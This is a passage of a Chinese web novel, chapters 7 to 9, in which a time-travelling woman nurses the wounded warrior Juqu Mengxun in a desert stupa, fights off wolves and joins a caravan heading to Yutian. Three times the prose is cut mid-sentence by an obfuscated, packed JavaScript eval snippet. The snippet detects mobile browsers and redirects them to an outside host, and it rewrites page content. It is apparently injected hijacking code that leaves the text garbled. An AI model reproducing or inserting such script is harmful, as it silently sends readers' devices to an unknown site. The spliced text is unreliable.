一夜的昏迷后,男人猛然恢复了意识,但没有立刻睁开眼睛。全身的疼痛让他差点流光了身上的血,半条命从鬼门关走回来,人有些恍惚。 头顶有个的声音响起,“十七,十八,十九……” 随着女孩的轻声计数,除了疼痛,身上偶尔有冰凉的触觉。男人知道自己浑身上下伤口无数,受伤早就习以为常,反倒是对人的触碰,从来是抗拒的,然而这次他实在伤得重了,微凉手指在伤口处游走,感觉并不糟糕。 阿祇没有发现,男人已经苏醒。 在没有抗生素和麻药的情况下,她不知道这人能不能活下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492965|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,数着他的伤口,也是为了冷静自己内心的不安,于是自言自语道:“你用了我所有的鹿衔草和雪莲,这身体现在金贵得很,千万好好活着。” 男人趴在毛毡闭上眼睛,心中不禁冷笑。 女人话有些多,但声音好像没有很让人厌烦。身边的女人自顾念叨,“眉骨刀伤有点麻烦,再发热下去,就真药石无救了。” 他似乎感觉到女人的气息来到面前,睁开眼,正与清亮的眸子四目相对,都是一愣,蒙着层层头纱的脸近在咫尺,立刻带上惊色闪开距离。 “你醒了?” 男人注视着女子,他虽然身受重伤,但这样的眼神恐吓女人绰绰有余,谁知眼前之人在片刻吃惊后,又靠近了过来,小心翼翼地说:“你的脸肿的厉害,晚上光线又不好,只能想帮你清理伤口,天亮再缝线。” 他暗中用了下内力,果真伤势有了起色。 “这是沙棘酒,就剩这么一点,昨晚干净的棉帛都用来包你了,抱歉,我没有更专业的东西,伤口不缝合虽不会死人,但创口开放总是危险的。” 从来没有女人敢离他这么近地平静讲话,何况他肿胀的眼睛必然可怖,女子神情平静地看着他。 “你不说话,我就当是默许了。” 面前浑身包裹在素色罩衣下的女子,只有一双明亮的眼睛露在外面,璨如宝石,眉宇之间似有朱砂痣若隐若现,这样的单身女子出现在荒漠中,只剩半条命的男人看不透她的来历。 他身受重伤,现在的样子定是十分骇人,阿祇凝视着他眼神平静柔和,挥了一下手中针线。 “别怕,其实我手艺没那么糟。” 男人瞳孔放大,垂下半个眼睑,不让她看到眼中的狠戾和一闪而过的杀意。 阿祇用酒给针线消毒,放在用滚烫的热水清洗过的棉布上,有条不紊地半坐在男人的面前,稳住干净的双手,轻轻抬起他的脸颊,一张蒙着面纱的脸靠近那人额头。 “伤口两寸,深可见骨,好在刀痕整齐,没伤及眼球。”男人连眉毛都未曾一动,任她穿针引线。 女子神情专注,身上可闻淡淡混着药香的气息,笼罩他的周身,日光洒落在她眼角眉目,浓密的睫毛渐渐凝聚珠光,细密的汗滴如晶莹的露水。 以前从未仔细看过女子,随着内力慢慢恢复,全身无力却气血暗涌,眉骨上冰凉的触感覆盖了伤痛的折磨,心弦好像被有意无意撩拨,这女子浑然不知深浅,一针一线间,时光奇妙又飞快。 忽然,她撩起面纱一角,靠近自己。 肿胀的眼睛骤缩,只见小巧的下巴贴上来,他来不及反应,白嫩的耳垂上有抹祖母石的莹润一晃而过,鼻尖留下一缕药香,原来女人用牙齿咬断了线结。 “好了。”药香远去。 他瞳孔深邃,冰冷又复杂,阿祇的目光丝毫没有盯着男人看的不妥,处理好的伤口匀称整齐,缝合后肿胀的半张脸,看起来有点像弗兰肯斯坦创造出的“科学怪人”,她十分满意,连日的孤独冷清也缓和下来。 二人对视,各有世界。 阿祇终于收回目光,四下翻找,摆了些饼子和浆果在他面前,“别碰伤口,吃的放这里,我去找水。” 裙角随女子起身在他面前飘走,站在佛塔出口。 纤细的身影驻足,层层罩衣里裹着的女子转身,又道:“包袱里有肉脯,但佛塔给了你我庇护,敬畏生灵是我们的本分,过几日等你伤好了都送你。” 男人默然不语,阿祇知他听懂了。 风沙过后的西域,又是碧空万里,夜晚寒风刺骨,但白天的气温变得越来越暖,不知不觉已夏日降至。 阿祇走出佛塔后,四处端详,这座佛塔背靠山丘,面对荒野,周围的绿色植被稀疏,水源相隔的比较远,是典型的佛教“串堵波”,即专门收藏安放“舍利子”的地方。 她朝佛塔诚心地拜了拜,招呼着努尔远去。 7. 佛塔之下 不知不觉,他们在佛塔已逗留了三天。 男人始终一言不发,阿祇也从未追问他的身份,努尔不知什么时候,偷跑去和骆驼依偎。 第四日清晨,当阿祇检查完男人伤势后,收拾干净,人走出佛塔。戈壁的日出给大地笼罩煦暖的金色,霞光万丈,终于是一个晴天。 女孩长发编成发辫,层层帷纱将她纤细的身姿围起,裙衫在晨风吹拂下,随着她的缓缓步伐荡起涟漪,一如既往地她走到佛塔外的土包上,环抱着一个书卷席地而坐,沐浴着晨光准备早课。 这曾是善爱的习惯。 绢帛上,她写下最后一句佛经抄文。 满眼隽秀的小隶字迹,往事如风,如今只剩她一个人行在前往精绝的路上,虽然没有发现沙迦牟韦和善爱行踪的蛛丝马迹,但她有个信念,他们还活着。 后世的辛薇与如今的祖慕祇,其实从来都不是虔诚的佛教徒,继承善爱的诵经习惯,此时令她内心平静,好像有感芬陀利花所化的佛心,渴望以己微末之诚,祈得善爱和沙迦牟韦一丝护佑。 “不复自随心行,不生邪见、憍慢嗔恚诸恶之心。说是语已,礼佛而出。” 虽只有半册经文,当绢帛用尽从头再看,仍感概万千。阿祇没有留意到身后不远的佛塔洞口,伤势恢复极快的有人靠坐在那里,正注视着自己。 几日相处,他知晓每日女子会在晨曦,坐在佛塔外同样的土丘上诵读抄经,安然的剪影,恬静的姿态与多彩的天际,奇妙地自然相融,这画面让人让人心安。 当阿祇起身,佛塔中传出男人的声音。 “你可知这塔供奉的是什么佛?“ 阿祇先是一愣,转身看到他面纱下微微一笑,这人总算愿意开口说话了。 从塔洞看来,风卷衣衫,逆着光有点不真切。 “是阿弥陀佛和药师佛。”阿祇的声音冷清。 男人倚靠着土墙,脸上的光忽暗忽明,“阿弥陀佛为何?药师佛又为何?” “阿弥陀佛的愿,在死后接引往生极乐世界,是西方极乐世界的佛,而药师佛又称药师琉璃光佛,历劫苦修多世,唯愿脚下成就净土,所以是东方净琉璃世界的佛。” “一死一生,度化众生,当何去何从?” 阿祇所到底也算重生过一次的人了,她没有去往什么西方极乐世界,而是来到这千年前的动荡西域,看来她是与历劫尘世的药师琉璃光佛有缘了。 阿祇苦笑,没有应答。 “极乐世界,净土一方,依我看不过生则为人,死化尘埃。”佛塔下男人的语气冰冷,“杀我者,我杀之;挡我者,我亦杀之。若人杀我,乃我不济,与神佛无怨。” 一旁的努尔,没出息地夹着尾巴卧在远远的骆驼边上,耷拉的小眼珠怯生生地看着他们,好像佛塔之下靠坐在那里的不是什么救苦救难的度人神佛,更像刚从修罗道里爬出来的邪魔。 “人说君子有三畏,畏天命,畏大人,畏圣人之言。常怀敬畏之心,方能行有所止。你我与神佛无怨,既得了佛塔的庇护……” 阿祇话说了一半,转念想到善爱和沙伽牟韦,又到了谁的庇护?心中一痛,怅然没了圣母心。 “怎么不说了?” 一声叹息,“各人有各道,你若无敬畏谦卑,我又能奈何。” “你是谁?” “说了你也不认识。” 男人喜怒不定,冷冷看着她,“为什么救我?” 阿祇收拾好手上的东西,起身朝洞口的方向走来,“见义勇为,可以么?” 男人的表情耐人寻味,随后一笑。 “那我也不必执着于报恩。” “随你。”阿祇走过他,去取水囊。 身在阳光与阴暗处的两人,男人长腿屈起,靠着塔壁逐渐修复的脸庞半明半暗,阿祇在经过他的时候停下脚步,忽然转身蹲在男人面前。 她看着那双锐利的眼睛,“十日前,你是否路过魔鬼城?” 阴影下,男人如墨的头发凌乱披在胸口,眼神冰冷地点头,“去过怎样?没去过又如何?” 阿祇暗惊,“你可曾见过一对受箭伤的男女?” 男人声音也没什么温度,“你认识他们?” 阿祇隐在裙幔里握着经卷木牍的手紧了紧,指尖有些刺痛,“你回答我便是。” 男人目光落在骆驼的鞍座,“你的箭,我见过。” 那夜用尽了二十只箭,有一根没有寻回,应是射中了一匹马。阿祇浅浅一笑,似不在意贴上她的男人,抬起右手顺势轻触他额角,男人停滞不动,任她的触摸,冰凉的触感从脸颊上撩开凌乱头发,轻轻拢向他耳后,好像在查看伤口。 “伤口结痂得好快。” 手指慢慢顺势滑向他的颈间,喉结微颤,男人盯着她的双眼,只见女子眼神一沉,“我既然能救你,就也能杀你。” 说着,一片锐利的竹刺藏于指间,动作利落秀气,已抵上男人的左颌骨,沮渠蒙逊微感一丝刺痛。 “这是颈动脉窦,刺下半寸,你猜如何?” 男人冷漠道:“你的手在抖……” 阿祇微用力,一丝血迹顺着脖子留下。 阿祇愤怒,“是不是你带人袭击了我们?” 男人残破的脸有明显的不屑,阿祇将从经卷上悄悄拆下来的竹刺紧握在手,尽力佯装冷静,只见他嘴角一勾,并不否认。 那张破碎的脸竟焕发出阴鸷的兴致,“是又怎样。” “你若杀了他们,我就杀了你。” 这半张鬼魅半张俊美的脸眼带戏谑,“你是……逃走的那个影子?” 话中饱含浓浓的讽刺,仿佛要击破女人的虚伪。他朝阿祇更近一寸,见那双曾清澈明亮的眼中蒙上阴霾,微微顿住,停在她的面前。阿祇内心几乎破防,她在第一时间,确实逃走了。 男人似乎不想击溃这个有趣的女人,停止了诛心之言,抓住她不稳的手,侧头看着她,有几分认真地回答:“杀你们的人,也是追杀我的人,黑铁骑,听说过吗?” 他的声音虽然冷,但是却是第一次难得地解释了真相。阿祇并不知这样的对话,对眼前人的意义为何,摇了摇头,追问说:“黑铁骑?为什么他们要带走阿秭阿兄?” 男人眼神一寒,“如果你想□□大可不必,黑铁骑从不留活口。” 这样的眼神让她感到危险,话到嘴边,男人好像又想起什么,“你说你的同伴被他们抓走了,也许有一种可能。” “什么可能?”阿祇着急地问。 “他们有用。”男人说了一句模棱两可的话。 阿祇很想说,看来你被黑铁骑满大漠追杀,要么很有用,要么很没用,依那支神秘的队伍现在的行事,说不定善爱和沙迦牟韦还活着。 男人看她思索的眼神越来越明亮。有那么一刻有 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无谓的挣扎哪里是男人对手,牢牢被禁锢,只能任由其舔舐伤口。他从不喜与人牵绊,尤其是女人,但眼前笨女人下意识的反应,宁可伤了自己手指也不肯对他下杀手,那瞬间他如释重负。 “你说两清不算。” 阿祇终于抽回手指,默默在身上蹭点那湿润的触感,“我自会去找黑铁骑。”阿祇挣脱不开禁锢,被他扯下脸上的面纱,眼前人危险中显出几分兴奋。 “原来你长这个样子。”男人眼神幽深明亮。 这个样子是什么样子,阿祇不理会他,终于推开身上的禁锢,男人肩伤果然崩裂出血,整个人仰躺在地上,望着天闷痛惨笑。 云卷云舒的天空,今天是个好天气。 半晌,阿祇才听到男人又道:“黑铁骑虽然狠辣,但也不是没有弱点。” 阿祇问:“什么弱点?” 看她那张认真的小脸,男人的目光柔和了几分,“只要出得起价,黑铁骑通常格杀勿论,不过他们也有个规矩,不杀三十六国的王室血脉。” 阿祇想了解更多,追问:“为什么?” 谁知男人这时却耍起了无赖,手捂着肩膀,一脸的痛苦状,“哎呦,疼……你来,我流血了。” “前天你流了一地血,也没见你哼一声。” “我这人,比较脆弱。” 阿祇没见过这么病娇的罂粟花,也不再废话,她脸上防备的嫌弃,在男人锐利危险的眼神里,却充满了征服欲。 少女的面纱是头巾的一部分,被他扯下后丝巾与发丝在风中乱舞,一颗朱砂在白净的额间分外娇艳,女子挤出了他的禁锢,随便在已经破损的衣裙上撕下一条,随便给自己的手指包扎好,完全不管男人的眼神。 他大概体会出阿兄口中所说女人的滋味了。 不待男人回味,阿祇收拾起散落的经文,她看了眼若无其事躺在地上渗血的男人,“若再像刚才,我决不会手下留情。” 男人露出笑容,“原来你,刚才留了……情?” 阿祇走过他,在他腿上的伤口踢了一脚,“不疼了?” 男人破碎的身子终于起身,挡住她,“你的名字?”他收起笑容,认真地看着女孩的双眼,“放心,我只是为了报恩而已。” 四目相对,阿祇很是坦荡,“祖慕祇。” “祖慕祇,记住我的名字,我叫沮渠蒙逊。” 8. 屠狼 初春高山融雪,河流泛滥之季,风沙大。 骆驼乖乖前膝跪地,当发丝乱舞衣袂飘飘的女子顶着风地跳下骆驼背,抱着两袋满满的水囊回到佛塔时,简易的夯土塌上只剩早已干涸暗深的血渍,男人已人去塔空。 那个人仿佛没有出现过一样。 环视这个不大的空间,除了留给他的水囊外,肉脯也不见了。她并不吃惊沮渠蒙逊的不告而别,她也是时候离开了。收拾行囊,她看到一把锋利的匕首放在羊毛毯上。拿在手上端详,匕首刀鞘没有繁复的装饰,拔出来双刃寒芒毕现,刀身末端刻有两个小字“沮渠”。 阿祇失笑,一切不是梦。 在历史的长河里,沮渠氏几乎全融入了中原汉族,但是在他们部族最辉煌的时候,正是这位沮渠蒙逊,创建了五胡十六国时代的北凉政权。 阿祇将利刃收入刀鞘,思绪复杂。 “沮渠蒙逊……” 自从来到这个异世,她一直匆匆与人别离,或许这样也好,反正不过是过客。拉紧面纱,朝佛塔的洞口外面走去,一只手遮住头顶的太阳看向天际,荒野漫漫没有半个人影踪迹。 老实了几日的努尔,终于又能撒欢乱跑。 骆驼嚼着干草,偶尔甩甩尾巴,像要赶走扰它几日的烦恼。女子明亮地打了个口哨,呼唤努尔回来。 依照之前沙迦牟韦的描述,他们一路向东接近于阗地界。于阗东通且末、鄯善,西通莎车、疏勒,看这里佛塔的筑建,加上她得到的佛教经文,那意味着她至少穿越到了公元三世纪末之后的西域。 自古于阗也是盛产玉石的国度,也就是闻名的和田玉,由于这个季节大量雪水的融入,采玉旺季的到来,带动了西域与中原的商贸繁荣,这也是阿祇急着要赶路的原因,幸运的话或许能够遇上往来商队,那么她就不至于迷路了。 一人一狗一骑,又行了几日,依旧没有人烟。 她的干粮已然不多,天色渐暗,夜风寒凉,落日前必须寻找个适合过夜的地方。一声清脆的呼哨,刚刚发现猎物的努尔停下脚步,片刻愣神,转身朝着声音的方向飞奔而来,远处骑在骆驼上的身影正呼唤它。 “努尔,不要乱跑。” 原本欢快的狗狗耷拉着舌头,回到骆驼周围摇着尾巴转圈,身穿白色罩纱的女子拍拍骆驼的脖子,骆驼乖巧俯身,阿祇取下水囊,利落地跳到努尔身旁给它倒了碗水。 “前面不知道有什么情况,咱们得多小心。” 努尔想听懂了她话,喝过水开心地舔舌头,头磨蹭女子的衣裙。 “我们就在那边的高处过夜吧,去拾些柴。” 努尔的拾柴手段驾轻就熟,欢快地跑开。 日暮时分,一人一狗就在山丘上一棵高大胡杨树下扎营,温暖的火光跳跃像有生命似的,祖慕祇是属于大漠的灵魂,那个记忆中无忧的现代女孩已经离她越来越遥远,她已经习惯了与风沙共存,与火焰为伴,感受自然的一切,让自己没那么孤独。 她仰躺在柔软的羊皮毯上,看漫天的星子一个个闪出深蓝色的夜幕,内心平静。 连日奔波,停下来的时候她就像现在这样,一个人静静地仰望天空,好像身处梦境,有时候她会想起现代的生活和家人伙伴,有时候会想起三星连珠的荧惑守心,有时候会想善爱和沙迦牟韦,也会想起不告而别的沮渠匕首主人,不知道他的名字,也不知道是死是活。 她计算着自己穿越的时间,九十九个日夜,这段日子她经历了很多,好像离开辛薇的日子已经百年,不过转念想想,何止百年,她现在距离以前的年代说不定也有千年。 努尔扭动了下身子,睡得正酣。 阿祇伸手抚摸努尔厚实的皮毛,温暖却粗糙,心中一暖,幸好有这个伙伴在身边,陪她走过最难熬的旅程,不知道前方的路还有多么遥远,但她还是要走下去,为了寻找这段人生的意义。 宁静,被努尔猛然的惊醒打破。 阿祇立刻警觉起来,紧接着,努尔发出激烈的吼叫,不安地四下审视,黑夜中很快传来此起彼落的狼嚎。一声接着一声,分不清楚方向,更分不清楚数量,嚎叫声距离她们越来越近,一人一狗迅速地进入防御状态,骆驼彷佛也感受到了不安,原地踏着碎步。 阿祇将男人送给她的匕首别在腰间,取出身边的弓弩,轻轻搭上箭羽,紧张地盯向山坡下方。 她身上的箭羽只剩十九支,每次涉猎后,她会很宝贵地收集每一支,虽然她自己削了很多木箭,但毕竟威力有限。这一次狼群的数量她无法估计,即便百分百的命中,恐怕也无法招架。 阿祇已经手心冒汗,大脑正在激烈地运转着,狼是一种具有高度社会性的动物,通常会有一只成年狼作为统领,擒贼先擒王也许有一丝胜算,再者它们畏火,电光火石间,她迅速地将所有干柴和树枝收集起来,背靠大树,前方制造出弧形的火圈。 “努尔,别怕!”阿祇站在它身前,低声安抚。 小猎犬当年就是在狼群中被救下的,平时性子蠢萌又敏感,此时脚下与女子并肩作战的猎犬,不自觉地全身发抖,喉咙里发出呼呼的声音,第一次见到努尔这样暴躁不安。 阿祇担心地瞟了它一眼,没想到这只素来胆小的猎犬气势与以往截然不同,是因为它记得出生时混在血腥里仇敌危险的气息吗? 阿祇的柴火不多,撑不了多久。 在燃烧的烈焰照映下,山坡下方很快出现几对莹莹的绿光,幸好数量不多,但无法判断狼王的位置。 狼群试探着不敢靠近火圈,阿祇背靠胡杨树和水源,不至于四面受敌,不急着射箭,她忙托举努尔上到大树杈,立刻抽出捆绑行囊的皮带,没了束缚的骆驼吓得惊慌失措,狂奔而去。 骆驼的动作吸引了一部分狼的注意力,追逐离开。 趁着混乱,阿祇在空中挥舞皮带,用力甩在地上发出“啪”一声抽响。 静夜中,鞭挞声吓住蠢蠢欲动的狼群前锋。 当另一侧又有狼靠近,她再次挥舞皮带抽挞。 连续的响声只能拖延狼群的进攻,狼是极聪明的动物,一旦发现那动静对它们没有威胁,渐渐又围拢上来。现代的辛薇懂一些近身搏斗技巧,但是对付野兽,就毫无用武之地。 她的武器,只有弓弩和一把匕首。 当第一头狼,跳跃过火圈最薄弱的地方冲向大树时,阿祇已冷静举起弓弩,第一支箭命中试图挑衅的头狼,头狼中箭倒地,她抽出匕首在狼的脖子上迅速补了一刀,然后抽出箭矢,快速退向大树。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492967|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快又有狼袭来,弓弩不能连发,面对狼群杯水车薪。她赶忙甩开皮带抽向两只野狼,狼嗷嗷惨叫,阿祇趁机甩皮带缠上树杈,借力攀爬,努尔一直在树杈,同时咬住阿祇的毛裘坎肩拉她上来。 火光冲天,女子精准地判断着狼群的攻击方向,陆续射出几箭,第九支、第十支……箭矢数量渐少,可狼王在哪? 只要杀死头狼,危险至少减半。 拖延了快半个时辰,这些狼终究不肯退去。 阿祇手摸向箭囊,已经空了。这时,她从腰间拔出匕首,准备与冲上来的野狼拼命,正在这时,身旁的努尔突然一跃而下,与快要撕咬刀阿祇裙摆的狼滚到一起。 阿祇大喊一声,也跟着跳下,抽出一根火把,朝努尔身上的狼打去,顺手扎入匕首。解决掉这只狼,阿祇敏捷地翻身到行李处,拿出酒囊将剩余的酒全部洒在火堆里,火焰熊熊燃烧,吓得几只靠近的狼节节后退。 她脑海中冒出曾经看过的文章,据说狼群一般不超过十只,眼前的野狼原本不多,但不远处骆驼的血腥味引来了越来越多的畜生,大漠物竞天择,科学诚不欺我。 阿祇自嘲,没想到自己陷入绝境,还能笑看生死。 眼前的一人一狗冷静悍勇,却明显体力不支,此起彼伏的狼嚎声再次响起,像是在向猎物示威。 夜黑风高,烽火渐弱…… 孤注一掷的阿祇,动作敏捷地拔出身边狼尸上的箭矢,转身扎入迎面而来的野狼眼睛,没有停下喘息的空白,迅速搭上弓弩,警戒四方。 几经搏斗,她发现无论狼群怎样试探,东北角有双绿色的眼睛始终没有移动过,看来它便是狼群的王。 面纱沾血,发辫散乱,女子站在山坡之上,火焰照耀她的双眼冷静专注,手臂托着弓弩,裙摆一个漂亮的弧度,身体转向东北方迅速射出最后一支箭,然后在地上翻滚一圈,避开了正迎面袭来的獠牙,刺出匕首,又狠又准没入扑向她的狼腹部,温热的血液溅在她的全身。 狼王愤怒,奄奄一息。 其他野狼纷纷放缓了攻击,退避其后,手握匕首的女子躲闪中受了轻伤,一旁淌着血的努尔也是强弩之末,骆驼几乎只剩半幅身架。 狼王朝天一声尖锐的嚎叫,再次猛扑而上。 阿祇没有退路,只能奋力反击,生则生,死则死。 千钧一发之际,狼王飞扑在半空的身子被一只箭飞了出去,穿透狼王的脖子,钉在几丈外的地上,终是气绝。那么多的狼血,染红了她的衣裙。 方才同归于尽的拼杀,阿祇没留意,从何处飞来这支救命一箭。 但很快,从四面八方飞来如雨般的箭羽,迎着风声呼啸而过,与她的精巧弓弩不同,这些都是重箭,群狼根本没有逃离的机会,被射杀殆尽,无一幸免。 凭借本能厮杀的女子满脸狼血,单膝跪地,头纱刮飞发丝乱舞,火光下黑眸夺目,朱砂夺魂。 四周人影涌现,带着刀剑干净利落地解决苟延残喘的受伤残兽,精疲力竭的阿祇看他们行事暗爽,这行人不过数十,劲装护甲,隐着肃杀之气,瞬间操控了这场血腥,手起刀落,待尘埃落定从黑暗中走出一匹白骆驼。 阿祇望去,多少年之后仍对这一幕无法忘怀。 9. 白骆驼主人 清晨,太阳从地平线升起,又是新的一天。 如今的辛薇,不再是辛薇,而是祖慕祇。 过夜的绿洲其实不大,前有山丘避风,若不是对环境熟悉的人很难发现这样一个港湾,阿祇默默看着这样的画面,心中激动,也夹杂几分怅然,祈祷善爱和沙伽牟韦得神祇护佑。站在清晨漠漠旷野上,她闭目呼吸微微沁凉的空气,静静享受这方天地。 千年前的花,比之后世的花朵,并没有什么不同,绚烂的盛放,让人感受到这片土地的美好与生机,没了夜晚遇袭的血腥和恐惧,浅色衣裙上的血迹斑斑,她对这片土地弱肉强食的现实心有余悸,能做的只有坚强。昨夜所幸狼群数量不多且救援及时,阿祇和努尔都只受了轻伤,只有骆驼不幸遇难。 这行人马据说是往来西域的中原商队,他们行事有度,训练有素,骆驼、马匹、货物丝毫没有被惊扰,他们迅速处理的尸体,以免血腥味引来更多的野兽。旷野没有树木阻挡,吹起夜风能大得吓人,受了伤的阿祇和努尔没了坐骑,被安排搭乘一辆不起眼的马车,趁夜风未强,商队来到一座避风的山丘扎营。 商队很有经验,寻的山丘环水而立,似乎对周围的环境十分熟悉。 夜色渐深,商队里没有女人,阿祇幸运地分到一个帐篷。不远处走来一个年轻人,送来从骆驼身上取下的行装,吃食水囊,弓弩箭囊,还有那把扎入狼王肚子里的“沮渠”匕首。 “娘子请早些休息。” 阿祇郑重朝他行礼,“还未感激你们的相救。” 来人是个清俊少年,十分有礼,“不必客气,明日家主自会见娘子。” 阿祇累极了,简单处理了伤口,换上善爱留下的烟青色罩裙。这些人的外伤药止血效果很好。月上中天,才昏昏沉抱着努尔睡过去。 第二日,初升的太阳给万物镀上一圈光辉。 当阿祇醒来,逆光而望远处人群的方向,一匹白骆驼屹立于天际线上,骆驼之上的白袍男子远眺东方,身姿岿然,千里之外的距离,从这个不起眼的角落望去,竟脑海里不觉冒出一句:皑如山上雪,皎若云间月。当那人慢慢转回身,一种若近若离的熟悉感油然而生,昨夜白骆驼主人带着兜帽,右手举袖箭,左手持缰,那支救命箭矢正是由他所出。 有人来通传,正是白骆驼主人要见她。 当走近这位神秘人阿祇心情莫名紧张,只见他落下兜帽,一张似冰雕般的脸分明是汉人容貌,极是俊美,深邃的褐眸又带着异域风情,幽深清明,沉如深潭,与之相望能洞穿人心。他长身玉立,墨发束冠,合身袴褶的白色胡服长袍笼罩在东方朝霞的流光里,气质出尘,与之相望温煦暖意却也遥不可及。 在他身后站着两个人,一个是昨日见过的少年人,一个半脸假面的白发男子。少年温和有度,白发男人削瘦冷漠,腰间束着一条长鞭。 阿祇缓缓朝他们走去,并不回避白骆驼主人的直视,待走近微微曲身,垂首右手抚心行礼,那曾是善爱曾对自己最虔诚的敬意,这次换做阿祇用精绝语真诚致谢:“天神保佑,多谢昨夜相救。” “不必客气,举手之劳。” 白骆驼主人说的是汉文,声音温润好听。 他好像笃定了阿祇能听得懂,即便她处处以精绝人身份自居,对方坦诚有礼,于是她不再用精绝语试探,改用汉文回答:“大漠儿女有恩必报,敢问阁下尊姓。” 自从西域通商之路畅通起,各国贵族子弟中早已开始习教中原文化,西域民间亦不乏饱读之士,白骆驼的驼队看上去是商旅,行走在大漠上奉行与人方便,既是于己方便,危急时刻给予孤女援助,就算有什么所图,始终是大恩。 少年人介绍:“这是我们商队的家主。” “娘子独身屠狼,儿郎们甚为钦佩,行走大漠,相见是缘,无需客气。” 这是不想告知身份了,阿祇不做多想。昨夜这些人搭救了阿祇,有意无意就在与她保持距离,阿祇也一直在观察他们,整肃利落绝非普通商旅,尤其这个白骆驼主人,清雅高贵,丝毫不像行商之人。想到清晨他逆光远眺的样子,心念流转,不由试探问道:“贵商队可是向东而行?” 白骆驼主人看起来十分随和,坦诚道:“正是。” 阿祇心中一喜,与白骆驼主人相视而立,语气更加谦和有礼,“我与亲人失散,不知能否与阁下借一段路同行?” 他反问:“娘子要去何处?” 阿祇心中早有盘算,“我要去于阗。” 于阗比邻精绝,沙伽牟韦曾提过,那里是东行南漠至精绝的必经之路,每年七月十五是于阗诺鲁孜节的采玉祭,届时商旅云集,十分热闹。 “于阗?” 白骆驼主人双眼好像黑曜石般灼灼,若有所思。 阿祇从佛塔出来出门十余日,险象环生,没了半数行囊和骆驼,出师不利大抵如此,接下去独自硬撑行走大漠,难免凶多吉少,幸好这次绝处逢生,天上掉下来大腿让她抱。 “我叫阿祇,身无分文,会打猎、做饭、写字。”阿祇自报家门,诚意十足。 白骆驼主人顿了顿,“我以为你要去的是,精绝。” 有这么明显吗?阿祇心虚地想。那双眼睛能洞穿世事,女子不敢有丝毫慌乱,其实最好的谎话就是混在九句真话中,她说的精绝语,用的大漠礼仪,长相又是汉人,换作任何人见了都会起疑。即使被怀疑,她还是不能放弃这唯一求生的机会。 “我与家人途中遇袭不幸失散,听说西域最盛大的诺鲁孜节就在七月,阿兄阿姊提过采玉祭,我想去那里看看,实不相瞒我的盘缠已尽,没了坐骑,若靠双脚走路,很难活着离开大漠。” 白骆驼主人挺拔俊美,声音温润,竟露出难得真诚的笑容。 最后,阿祇听到了犹如天籁之音,“你识字?” 她用力点了点头,正巧脚下有一根木条,捡起来以黄土为案,用汉文和佉卢文分别写下:“投我以木桃,报之以琼瑶。” 西域多国林立,民族多元,宗教多元,因此语言和文字十分繁杂,除了已被广泛使用的汉文,千年后的辛薇也研究过婆罗米文、于阗文、龟兹文、焉耆文、吐蕃文、回鹘文,还有如梵文、阿拉伯文等从更遥远的文明流传而来的文字,西域的文明博大神秘,她大学主修西域古文字,从善爱那得到指导,对佉卢文和龟兹文更有精进。 整齐的字体得到白骆驼主人的赞许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492968|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“不错。” 谁知他却回绝道:“然,你我不能同行。” 阿祇抬眼错愕地对上那双深邃迷人的眼睛,活命面前,面子是小,她正要拿出求职的技巧和诚意,白骆驼主人动了动衣袖,又接上一句:“不顺路。” 阿祇嘴角一抽,不知怎样才顺路?人家有明显的婉拒之意,阿祇觉得她的运气可能不够用,似乎应知趣地表达遗憾,谁知白骆驼主人话锋一转,“然……” 又然……? 这人若近若离的态度,实在让人捉摸不透,“在下虽与阿祇不顺路,不过我的商队正要前往于阗,如果阿祇愿意,不妨同行。” 峰回路转,阿祇忙抓住机会,“愿意!” 白骆驼主人嘴角微翘,把缰绳交给身后的白发男人。那人带着白骆驼离去,如同鬼魅般一点声响都没发出,一抬手,身后少年恭敬递上润湿的巾帕,白骆驼主人轻轻拭手,他的手指修长白皙,动作优雅好看,将巾帕交给少年后,不急不慌地才开口。 “既然你会写字,商队掌事缺个文书,若阿祇不嫌弃可就此任。” 阿祇立即显出对这个提议的兴趣,“不嫌弃。” “至于报酬?” “管吃就好。” 阿祇回答地过于顺利,似乎取悦了白骆驼主人,连他身边的少年也抿着嘴,眼看这个女子有屠狼的勇气,也曾试探得小心翼翼,女子真诚一笑,尽显至性。 白骆驼主人垂眸笑而未语,清俊少年上前一步,“在下宋繇,是商队的掌事。” 好年轻的掌事,阿祇不敢以貌取人,赶紧见礼道:“宋掌事,有劳了。” 篝火灭,马儿啸,驼队一眼望不到头。 